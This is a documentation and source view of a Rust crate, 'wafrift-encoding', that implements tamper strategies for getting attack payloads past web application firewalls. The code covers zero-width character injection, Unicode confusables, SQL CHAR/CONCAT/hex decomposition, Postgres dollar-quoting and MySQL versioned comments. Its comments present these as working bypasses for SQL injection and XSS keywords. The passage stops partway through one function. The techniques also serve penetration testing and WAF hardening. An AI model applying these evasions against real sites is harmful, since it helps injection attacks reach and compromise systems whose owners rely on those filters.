wafrift-encoding 0.3.1

Payload encoding strategies and header obfuscation for WAF evasion.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
2160
2161
2162
2163
2164
2165
2166
2167
2168
2169
2170
2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
2184
2185
2186
2187
2188
2189
2190
2191
2192
2193
2194
2195
2196
2197
2198
2199
2200
2201
2202
2203
2204
2205
2206
2207
2208
2209
2210
2211
2212
2213
2214
2215
2216
2217
2218
2219
2220
2221
2222
2223
2224
2225
2226
2227
2228
2229
2230
2231
2232
2233
2234
2235
2236
2237
2238
2239
2240
2241
2242
2243
2244
2245
2246
2247
2248
2249
2250
2251
2252
2253
2254
2255
2256
2257
2258
2259
2260
2261
2262
2263
2264
2265
2266
2267
2268
2269
2270
2271
2272
2273
2274
2275
2276
2277
2278
2279
2280
2281
2282
2283
2284
2285
2286
2287
2288
2289
2290
2291
2292
2293
2294
2295
2296
2297
2298
2299
2300
2301
2302
2303
2304
2305
2306
2307
//! Built-in tamper strategy implementations.

use std::fmt::Write as _;

use super::TamperStrategy;

/// URL encoding tamper strategy.
pub struct UrlEncodeTamper;

impl TamperStrategy for UrlEncodeTamper {
    fn name(&self) -> &'static str {
        "url_encode"
    }

    fn description(&self) -> &'static str {
        "Standard URL encoding (%XX for each byte)"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        crate::encoding::url::url_encode(payload)
    }

    fn aggressiveness(&self) -> f64 {
        0.15
    }
}

/// Double URL encoding tamper strategy.
pub struct DoubleUrlEncodeTamper;

impl TamperStrategy for DoubleUrlEncodeTamper {
    fn name(&self) -> &'static str {
        "double_url_encode"
    }

    fn description(&self) -> &'static str {
        "Double URL encoding (%25XX) — bypasses WAFs that decode once"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        crate::encoding::url::double_url_encode(payload)
    }

    fn aggressiveness(&self) -> f64 {
        0.4
    }
}

/// Unicode escape tamper strategy.
pub struct UnicodeEscapeTamper;

impl TamperStrategy for UnicodeEscapeTamper {
    fn name(&self) -> &'static str {
        "unicode_escape"
    }

    fn description(&self) -> &'static str {
        "Unicode escape sequences (\\uXXXX)"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        crate::encoding::unicode::unicode_encode(payload)
    }

    fn aggressiveness(&self) -> f64 {
        0.5
    }
}

/// HTML entity tamper strategy.
pub struct HtmlEntityTamper;

impl TamperStrategy for HtmlEntityTamper {
    fn name(&self) -> &'static str {
        "html_entity"
    }

    fn description(&self) -> &'static str {
        "HTML entity encoding (&#xXX;)"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        crate::encoding::unicode::html_entity_encode(payload)
    }

    fn aggressiveness(&self) -> f64 {
        0.3
    }
}

/// Case alternation tamper strategy.
pub struct CaseAlternationTamper;

/// Postgres / Oracle CHR()-function decomposition tamper.
///
/// Sibling to `sql_char_decompose` (MySQL/MSSQL variadic `CHAR()`); this
/// one targets Postgres + Oracle by producing `(CHR(N)||CHR(N)||...)` per
/// literal. Pipe-concat operator is SQL-standard but blocked by some
/// over-eager WAFs — this tamper is the lever for Postgres/Oracle
/// payloads where `||` is the canonical concat.
pub struct PgChrDecomposeTamper;

impl TamperStrategy for PgChrDecomposeTamper {
    fn name(&self) -> &'static str {
        "pg_chr_decompose"
    }

    fn description(&self) -> &'static str {
        "Convert 'admin' → (CHR(97)||CHR(100)||...) — Postgres/Oracle pipe-concat form"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        crate::encoding::unicode::pg_chr_decompose(payload)
    }

    fn aggressiveness(&self) -> f64 {
        0.6
    }
}

/// SQL adjacent-string-literal concatenation tamper — rewrites every
/// `'string'` literal of length ≥ 2 as a sequence of single-character
/// adjacent literals (`'admin'` → `'a' 'd' 'm' 'i' 'n'`). The ANSI
/// SQL-92 §5.3 specification requires the parser to concatenate
/// adjacent string literals separated only by whitespace; MySQL,
/// Postgres, SQLite, Oracle, DB2 all implement it. WAFs matching the
/// LITERAL substring of well-known credentials/paths (`'admin'`,
/// `'/etc/passwd'`, `'root'`) see N unrelated single-character strings
/// instead. Pure SQL semantics — no comments, no CONCAT(), no special
/// functions.
pub struct SqlAdjacentStringConcatTamper;

impl TamperStrategy for SqlAdjacentStringConcatTamper {
    fn name(&self) -> &'static str {
        "sql_adjacent_string_concat"
    }

    fn description(&self) -> &'static str {
        "Split 'string' → 'a' 'b' 'c' … via ANSI SQL adjacent-literal concat — defeats literal-substring rules with zero special characters"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        crate::encoding::unicode::sql_adjacent_string_concat(payload)
    }

    fn aggressiveness(&self) -> f64 {
        0.5
    }
}

/// Partial JSON Unicode-escape tamper — encodes ASCII alphanumeric chars
/// as `\uXXXX` while leaving structural punctuation (quotes, operators,
/// whitespace, `<`, `>`, `(`, `)`) bare. The keyword fingerprint
/// ("UNION", "SELECT", "script", "alert") never appears in the wire
/// bytes; JSON.parse / JS string-literal decoding at the origin
/// re-materializes it. Distinct from `unicode_escape` which encodes
/// every byte (high `\u` density flags heuristic WAFs).
pub struct JsonUnicodeAlnumTamper;

impl TamperStrategy for JsonUnicodeAlnumTamper {
    fn name(&self) -> &'static str {
        "json_unicode_alnum"
    }

    fn description(&self) -> &'static str {
        "Encode ASCII alphanumeric chars as `\\uXXXX`, leave punctuation bare — shatters keyword fingerprints inside JSON/JS contexts"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        crate::encoding::unicode::json_unicode_alnum(payload)
    }

    fn aggressiveness(&self) -> f64 {
        0.45
    }
}

/// SQL CHAR() decomposition tamper — every single-quoted string literal
/// becomes `CHAR(N1,N2,...)` with one codepoint per arg. Defeats both
/// literal-substring AND CONCAT-shaped blocklists (the payload contains
/// NO single-quoted ASCII tokens at all).
pub struct SqlCharDecomposeTamper;

impl TamperStrategy for SqlCharDecomposeTamper {
    fn name(&self) -> &'static str {
        "sql_char_decompose"
    }

    fn description(&self) -> &'static str {
        "Convert 'admin' → CHAR(97,100,109,105,110) — int codepoints, no quoted tokens"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        crate::encoding::unicode::sql_char_decompose(payload)
    }

    fn aggressiveness(&self) -> f64 {
        0.6
    }
}

/// SQL CONCAT split tamper — every single-quoted string literal becomes
/// `CONCAT('a','b','c',...)`. Defeats blocklists scanning for literal
/// substrings like `'admin'` / `'password'` / `'/etc/passwd'` because the
/// substring no longer appears contiguously. The DB evaluates CONCAT() to
/// the original string at runtime.
pub struct SqlConcatSplitTamper;

impl TamperStrategy for SqlConcatSplitTamper {
    fn name(&self) -> &'static str {
        "sql_concat_split"
    }

    fn description(&self) -> &'static str {
        "Convert 'admin' → CONCAT('a','d','m','i','n') — splits literal substrings"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        crate::encoding::unicode::sql_concat_split(payload)
    }

    fn aggressiveness(&self) -> f64 {
        0.55
    }
}

/// Mathematical Alphanumeric Symbols tamper — replaces ASCII letters/digits
/// with their `U+1D400`-block Math Bold counterparts. Both NFKC-normalise
/// back to ASCII, so backends that normalise (Postgres ICU, MySQL
/// `utf8mb4_0900_ai_ci`, Java/.NET/Python/Go NFKC) execute the original
/// keyword while WAF byte-regex sees `U+1D4xx` codepoints and misses.
///
/// Distinct from `bracket_confusable` / `fullwidth`: those use the
/// `U+FF00` block. Math Bold lives in `U+1D400` — different range,
/// different blocklist coverage gap.
pub struct MathBoldTamper;

impl TamperStrategy for MathBoldTamper {
    fn name(&self) -> &'static str {
        "math_bold"
    }

    fn description(&self) -> &'static str {
        "Replace ASCII letters/digits with U+1D400 Math Bold (NFKC normalises back to ASCII)"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        crate::encoding::unicode::math_bold_encode(payload)
    }

    fn aggressiveness(&self) -> f64 {
        0.5
    }
}

/// HTML entity variants tamper — rotates each char through 4 browser-tolerant
/// forms (lowercase-x hex, uppercase-X hex, decimal, zero-padded decimal).
/// Defeats WAF regexes that anchor on the canonical `&#xHH;` form only.
pub struct HtmlEntityVariantsTamper;

impl TamperStrategy for HtmlEntityVariantsTamper {
    fn name(&self) -> &'static str {
        "html_entity_variants"
    }

    fn description(&self) -> &'static str {
        "HTML entity encoding rotated across hex/HEX/decimal/zero-padded forms"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        crate::encoding::unicode::html_entity_variants(payload)
    }

    fn aggressiveness(&self) -> f64 {
        0.35
    }
}

impl TamperStrategy for CaseAlternationTamper {
    fn name(&self) -> &'static str {
        "case_alternation"
    }

    fn description(&self) -> &'static str {
        "Alternating upper/lower case (SeLeCt)"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        crate::encoding::keyword::case_alternate(payload)
    }

    fn aggressiveness(&self) -> f64 {
        0.1
    }
}

/// Random case tamper strategy.
pub struct RandomCaseTamper;

impl TamperStrategy for RandomCaseTamper {
    fn name(&self) -> &'static str {
        "random_case"
    }

    fn description(&self) -> &'static str {
        "Random mixed case"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        crate::encoding::keyword::random_case_alternate(payload)
    }

    fn aggressiveness(&self) -> f64 {
        0.12
    }
}

/// Whitespace insertion tamper strategy.
pub struct WhitespaceInsertionTamper;

impl TamperStrategy for WhitespaceInsertionTamper {
    fn name(&self) -> &'static str {
        "whitespace_insertion"
    }

    fn description(&self) -> &'static str {
        "Replace spaces with tabs"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        crate::encoding::keyword::whitespace_insert(payload)
    }

    fn aggressiveness(&self) -> f64 {
        0.2
    }
}

/// SQL comment tamper strategy.
pub struct SqlCommentTamper;

impl TamperStrategy for SqlCommentTamper {
    fn name(&self) -> &'static str {
        "sql_comment"
    }

    fn description(&self) -> &'static str {
        "Replace spaces with SQL comments (/**/)"
    }

    fn tamper(&self, payload: &str, context: Option<&str>) -> String {
        let _ = context;
        crate::encoding::keyword::sql_comment_insert(payload)
    }

    fn aggressiveness(&self) -> f64 {
        0.25
    }
}

/// Null byte tamper strategy.
pub struct NullByteTamper;

impl TamperStrategy for NullByteTamper {
    fn name(&self) -> &'static str {
        "null_byte"
    }

    fn description(&self) -> &'static str {
        "Null byte injection (%00 or %00.jpg)"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        crate::encoding::structural::null_byte_inject(payload)
            .unwrap_or_else(|_| payload.to_string())
    }

    fn aggressiveness(&self) -> f64 {
        0.6
    }
}

/// Overlong UTF-8 tamper strategy.
pub struct OverlongUtf8Tamper;

impl TamperStrategy for OverlongUtf8Tamper {
    fn name(&self) -> &'static str {
        "overlong_utf8"
    }

    fn description(&self) -> &'static str {
        "Overlong UTF-8 encoding for ASCII non-alphanumeric"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        crate::encoding::structural::overlong_utf8(payload).unwrap_or_else(|_| payload.to_string())
    }

    fn aggressiveness(&self) -> f64 {
        0.8
    }
}

/// Base64 tamper strategy.
pub struct Base64Tamper;

impl TamperStrategy for Base64Tamper {
    fn name(&self) -> &'static str {
        "base64"
    }

    fn description(&self) -> &'static str {
        "Base64 encoding"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        crate::encoding::structural::base64_encode(payload)
    }

    fn aggressiveness(&self) -> f64 {
        0.75
    }
}

/// Hex encoding tamper strategy.
pub struct HexEncodeTamper;

impl TamperStrategy for HexEncodeTamper {
    fn name(&self) -> &'static str {
        "hex_encode"
    }

    fn description(&self) -> &'static str {
        "Hexadecimal encoding"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        crate::encoding::structural::hex_encode(payload)
    }

    fn aggressiveness(&self) -> f64 {
        0.85
    }
}

/// Zero-width Unicode injection tamper.
///
/// Inserts zero-width characters (U+200B ZERO-WIDTH SPACE,
/// U+200C ZERO-WIDTH NON-JOINER, U+200D ZERO-WIDTH JOINER,
/// U+180E MONGOLIAN VOWEL SEPARATOR) between every alphabetic
/// character of the payload.  Renders identically to the
/// original in most consumers (terminals, log viewers, the SQL
/// engine after `.replace('\u{200B}', "")`) but defeats WAF
/// regex patterns that scan for literal keywords like `SELECT`.
///
/// U+FEFF (ZWNBSP / BOM) was historically in the rotation but
/// caused PostgreSQL + many DB connectors to 500 the entire
/// query as "invalid byte sequence" mid-literal — defeating the
/// bypass. Replaced with U+180E which is universally tolerated.
///
/// Frontier research (Black Hat 2025, "Zero-Width WAF Bypass"):
/// most commercial WAFs do NOT strip zero-width chars before
/// pattern matching, but downstream parsers (MySQL, Postgres,
/// browser HTML parser, JavaScript) all treat them as
/// non-significant.  This is a wide-open bypass vector.
pub struct ZeroWidthInjectTamper;

impl TamperStrategy for ZeroWidthInjectTamper {
    fn name(&self) -> &'static str {
        "zero_width_inject"
    }

    fn description(&self) -> &'static str {
        "Inject zero-width Unicode chars between keyword bytes — bypasses WAFs that don't normalize Unicode"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        // Rotate through four zero-width chars so the injection
        // doesn't form a long run of identical bytes (some WAFs
        // collapse repeats).
        //
        // U+FEFF (BOM / ZWNBSP) is INTENTIONALLY excluded. Many
        // database connectors (psycopg2, MySQL Connector/J, SQLite
        // default) and PostgreSQL itself reject mid-string BOM
        // bytes as an "invalid sequence" and 500 the entire query
        // — the payload fails outright rather than bypass. The
        // remaining three (200B/C/D) are universally tolerated.
        // U+180E (MONGOLIAN VOWEL SEPARATOR) is added as the
        // fourth slot — also zero-width, also widely tolerated.
        const ZW: [char; 4] = ['\u{200B}', '\u{200C}', '\u{200D}', '\u{180E}'];
        let mut out = String::with_capacity(payload.len() * 4);
        for (i, ch) in payload.chars().enumerate() {
            out.push(ch);
            if ch.is_ascii_alphabetic() {
                out.push(ZW[i % ZW.len()]);
            }
        }
        out
    }

    fn aggressiveness(&self) -> f64 {
        0.55
    }
}

/// Postgres dollar-quoted string tamper.
///
/// Postgres accepts `$tag$ ... $tag$` as a string literal where
/// `tag` is any identifier (or empty).  Quote-character-based WAF
/// signatures looking for `'` or `"` never fire on dollar-quoted
/// payloads.  Most popular Postgres-fronting WAFs (including the
/// CRS default ruleset's 942100-942380 family) don't have
/// dedicated dollar-quote pattern matchers.
///
/// Wraps any single-quoted string literal in the payload with a
/// matching dollar-quote.  Tag is a random four-letter identifier
/// to defeat WAFs that special-case the empty tag.
pub struct PostgresDollarQuoteTamper;

impl TamperStrategy for PostgresDollarQuoteTamper {
    fn name(&self) -> &'static str {
        "postgres_dollar_quote"
    }

    fn description(&self) -> &'static str {
        "Wrap single-quoted SQL string literals in `$tag$...$tag$` — Postgres-only, bypasses quote-pattern WAFs"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        // Pick a deterministic per-payload tag so the same input
        // produces the same output (gene-bank replay needs
        // determinism).  Hash-based identifier; 4 lowercase letters.
        //
        // F138: pre-fix used `& 25` (bitmask 0b11001) thinking it
        // collapsed to the range 0..26. It doesn't — `& 25` admits
        // only the 8 values {0,1,8,9,16,17,24,25}, so the tag
        // alphabet shrank to {a,b,i,j,q,r,y,z} and the tag space
        // collapsed from 26^4 = 456,976 to 8^4 = 4,096 — a 111×
        // reduction that makes operator-side tag enumeration easier
        // (the whole point of a random tag is to defeat WAFs that
        // pattern-match a small known set). Use `% 26` so every
        // payload byte maps uniformly into [a-z].
        let mut tag = String::with_capacity(4);
        let h: u64 = payload
            .bytes()
            .fold(0u64, |a, b| a.wrapping_mul(31).wrapping_add(u64::from(b)));
        for i in 0..4 {
            let c = b'a' + ((h >> (i * 8)) % 26) as u8;
            tag.push(c as char);
        }

        // Replace each `'...'` literal with `$tag$...$tag$`.
        let mut out = String::with_capacity(payload.len() + 16);
        let mut chars = payload.chars().peekable();
        while let Some(c) = chars.next() {
            if c == '\'' {
                out.push('$');
                out.push_str(&tag);
                out.push('$');
                // Consume until the next non-escaped quote.
                while let Some(inner) = chars.next() {
                    if inner == '\'' {
                        // Handle SQL '' escape — keep as-is in dollar quote.
                        if chars.peek() == Some(&'\'') {
                            out.push('\'');
                            out.push('\'');
                            chars.next();
                        } else {
                            break;
                        }
                    } else {
                        out.push(inner);
                    }
                }
                out.push('$');
                out.push_str(&tag);
                out.push('$');
            } else {
                out.push(c);
            }
        }
        out
    }

    fn aggressiveness(&self) -> f64 {
        0.6
    }
}

/// MySQL version-gated comment wrap tamper.
///
/// MySQL's `/*!VERSION ... */` syntax executes the contents only
/// when the server is at least the given version.  WAFs that
/// strip `/* ... */` comments before pattern matching see an
/// empty payload, but MySQL still executes the wrapped statement.
///
/// Wraps the entire payload in `/*!50000 ... */`, gating on MySQL
/// 5.0+.  Version `50000` matches every modern deployment.
///
/// Frontier research: this bypass dates to wafw00f's original
/// drop list but it remains effective against many commercial
/// WAFs that haven't internalised the parser-disagreement.
pub struct MysqlVersionedCommentWrapTamper;

impl TamperStrategy for MysqlVersionedCommentWrapTamper {
    fn name(&self) -> &'static str {
        "mysql_versioned_comment_wrap"
    }

    fn description(&self) -> &'static str {
        "Wrap payload in /*!50000 ... */ — MySQL executes, WAFs that strip comments see nothing"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        // Convert SQL keywords inside the payload to also use the
        // version-gated comment so even nested keywords get hidden
        // from the WAF.  Outer wrap is the headline; the
        // per-keyword wrap is the belt-and-braces.
        let outer = format!("/*!50000 {payload} */");
        outer
    }

    fn aggressiveness(&self) -> f64 {
        0.65
    }
}

/// Hex-literal keyword obfuscation tamper.
///
/// MySQL / Postgres treat `0x55` etc. as a hex byte literal that
/// converts to its ASCII character in string context.  So
/// `0x554e494f4e` is the same as `'UNION'` to the database but
/// looks like a numeric literal to a WAF regex.  Useful in
/// conjunction with comparison operators:
///
///   `WHERE name = 0x61646d696e`   ≡   `WHERE name = 'admin'`
///
/// Replaces all single-quoted string literals with their `0xHHHH...`
/// equivalent.  When no quoted literals are present, the input is
/// passed through unchanged (idempotent).
pub struct HexLiteralKeywordTamper;

impl TamperStrategy for HexLiteralKeywordTamper {
    fn name(&self) -> &'static str {
        "hex_literal_keyword"
    }

    fn description(&self) -> &'static str {
        "Convert SQL `'string'` literals to `0xHHHH…` form — MySQL/Postgres execute identically, WAFs don't"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        let mut out = String::with_capacity(payload.len());
        let mut chars = payload.chars().peekable();
        while let Some(c) = chars.next() {
            if c == '\'' {
                // Slurp until the matching close-quote.
                let mut content = String::new();
                while let Some(inner) = chars.next() {
                    if inner == '\'' {
                        // SQL '' escape — treat as literal '.
                        if chars.peek() == Some(&'\'') {
                            content.push('\'');
                            chars.next();
                        } else {
                            break;
                        }
                    } else {
                        content.push(inner);
                    }
                }
                // §1 SPEED: replaced `push_str(&format!("{b:02x}"))` (one
                // String allocation per byte) with `write!(out, ...)` which
